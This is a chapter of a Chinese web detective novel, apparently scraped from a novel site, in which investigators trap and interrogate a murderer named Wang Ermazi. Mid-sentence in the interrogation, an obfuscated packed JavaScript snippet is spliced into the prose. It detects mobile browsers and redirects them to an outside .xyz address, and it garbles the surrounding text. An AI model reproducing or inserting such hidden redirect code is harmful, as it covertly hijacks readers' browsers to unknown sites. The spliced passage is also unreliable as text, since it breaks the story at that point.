山涧惊起飞鸟声声,伴有野兽长啸。谢珩手持长剑,与一众衙役披荆斩棘。直至走到一处山崖边,有人上前告知他,此处就是葛大海当年坠崖之地。 王二麻子会不会畏罪自杀,也跳了下去? 谢珩思忖半晌,最终否定了自己的想法。葛二牛的尸身为何会失窃?一定是被人偷盗至其父的棺椁之内,他必然要以此转移官府的视线,等时机一到,好光明正大的回去。因此他一定有着自己的藏身之处,甚至,他也有可能正在暗中窥视。 假设葛二牛要在此地窥伺,最好的位置是哪里? 谢珩抬头望去,只见一处岩石嶙峋之地,草木丛生,颇为隐蔽,寻常人难以察觉。他立刻命人前去查看,果然发现一处隐秘的山洞。 山洞被藤蔓遮掩,若非仔细寻找,很难发现。谢珩走上前去,轻轻拨开藤蔓,走了进去。 这山洞不深,却足以藏身。谢珩命人将山洞搜了个遍,却并未发现王二麻子的踪迹,但在山洞的一角,却发现了些许饮食物品及衣物碎片,与葛大海坟前所发现的衣物碎片极为相似。 谢珩心中一动,立刻命人将衣物碎片带回,与葛大海坟前的碎片进行比对。果然,这两处碎片出自同一件衣服。可以证明,确实有人曾在此处逗留。 而崔令仪走访了王二麻子的亲朋好友,却并未得到太多有用的信息。王二麻子平日里行踪诡秘,与人的交往也并不密切。最终,她在山脚下遇见了一个上山采药的农人。 “葛二牛未曾见过,不过我认识他爹。”那老者道,“大海可是个热心人,见人有难都会帮忙。他已经走了这么久,还时常有人还他坠崖之处祭拜呢。” “是何人曾在那里祭拜?”崔令仪追问。 那老人道:“是当年同他一起采药的小兄弟,具体叫什么我不知道,只是长着一脸麻子。他和大海的关系十分好,大海的胆不大好,他还曾经问过我,用什么药对胆有好处。我还告诉他,是柴胡、虎杖、金钱草。” “三十年前,我最后一次见大海,那时他正和那小兄弟吵架。起因是那小兄弟为了给他采柴胡,攀至一处断崖之上,摔下来险些丧命。可我瞧那小子不大服气。再过不久,大海就坠崖而死了,而他坠崖那处断崖,生长着最多的柴胡。” 崔令仪闻言,豁然开朗。 夕阳西下,崔令仪与谢珩在山脚下汇合。谢珩给她讲了今日的发现,崔令仪点头道:“不错,既然他没死,那应当还会回来,我们可以在山洞附近设下埋伏,等他自投罗网。” 两人商议已定,立刻行动起来。他们调集了人手,在山洞附近设下了埋伏。而王二麻子,果然在夜深人静之时,悄悄返回了山洞。 他刚走进山洞,就被埋伏在四周的衙役捉了个正着。王二麻子见状,知道自己已经插翅难飞,索性不再挣扎,束手就擒。 天蒙蒙亮,仓前镇府衙还灯火通明。 忙活数月的葛二牛之死案终于即将告破,连习惯熬夜的谢珩也都多出三分振奋。王二麻子被一左一右两个衙役押解,低垂着头,一言不发。 谢珩站在刑堂之上,审视着堂下之人。 他身材矮小瘦弱,面有菜色,满脸麻子像芝麻一样均匀地洒在他的大圆脸上。他似乎有段日子没有正常吃东西了。谢珩有些惊异于他这样瘦小,该是如何击杀葛二牛的。不多时,另有人把杨大鼎和罗秀姑带了上来。 杨大鼎看见王二麻子头戴重枷,十分意外:“舅父,你怎么会在这里,难道你与此事有关?” 罗秀姑反倒不发一言。 崔令仪问她:“你一点都不意外王二麻子怎么在这里,是料到了吗?” 罗秀姑道:“是,那日跟崔小姐聊完,我便明白了。该是王二麻子杀死了公爹,他为了给公爹报仇,所以才会死,这都是命数。” “王二麻子,你可知罪?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451981|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢珩喝问。 王二麻子道:“我无话可说。” 谢珩冷哼一声:“无话可说?你盗走葛二牛的尸体,又将葛大海的尸骨移至他的衣冠冢内,还试图以此转移我们的视线,你当我们都是傻子吗?” 王二麻子闻言,冷笑道:“你们就算知道了又能如何?葛二牛是我杀的,葛大海也是我害的,那又如何?” 谢珩怒道:“你为何要这么做?他们与你有何仇怨?” 王二麻子道:“无仇无怨我便不能杀他们?反正我杀了他们两个,如今依然是个死。现在只求速死,官差大人,我王二麻子既然已经招认,你便速速宣判吧。” 谢珩沉声道:“你杀葛二牛,或许是因为一时气愤,可葛大海已经去世三十年,你为何要将他胡乱葬下?” 王二麻子道:“大人,我没什么好说的。大人说的话我全都认下,只请大人速速宣判吧。” 崔令仪与谢珩对视一眼,许久,崔令仪站了出来。 “大人,还是我来说吧。” 谢珩一拍惊堂木:“准。” “事情要从三十多年前说起了。”崔令仪缓声道,“彼时,猎户葛大海还在世,他膝下有一独子,便是葛二牛,爱若珍宝。为了赚钱养活妻儿,葛大海增加了上山打猎的频率,赚到不少钱。就在这时,他认识了无家可归,流浪街头的王二麻子。” “王二麻子自小父母双亡,和姐姐相依为命。姐姐出嫁后,就没有人管他了,他为了活命,这才做些小偷小摸的勾当。这日不想偷到了葛大海的头上。但葛大海虽然外表粗犷,内心却很细腻。他可怜王二麻子的遭遇,不但给他一口饭吃,还带他上山打猎,教他一些赖以生存的活计。” “王二麻子也很感激他。他那时候十六七岁,正是年轻力壮,学东西很快,跟着葛大海赚了不少钱,明明可以拿钱盖间房子,过上安稳的生活。后来他们认识了在山下采药的赵老头。听说葛大海有祖传的肝病,他就问赵老头,有没有什么东西是能够治疗人的肝病的。赵老头跟他说了几样,都不太现实。比如虎杖,长在于陕北、华南等地,比如金钱草,长在两湖、两广。只有一样药,是在我们仓前镇有出产的,就是柴胡。” “柴胡喜欢长在山坡上,尤其在山崖上生的格外多。王二麻子想孝敬葛大海,想给他治疗他的肝病,就替他去采。谁知那天下雨湿滑,王二麻子脚滑没有站稳,差点跌下山崖。这时候是葛大海和赵老头出现,一起救了他。” “王二麻子被救下以后,挨了葛大海和赵老头好一顿臭骂。可他那时候太年轻气盛,不服输,过了几日他又去登坡,却不想又跌下山崖,幸好又是葛大海及时拉住了他。” “他们两人一起悬挂在向阳坡的山崖之上,唯一能悬挂的只有葛大海紧紧把住的一颗枯树。可那枯树因为早已枯死,枝干变的很脆,无法承担两个人的重量。但是葛大海一个人,又难以将他拉出去。这种时候该怎么办呢?”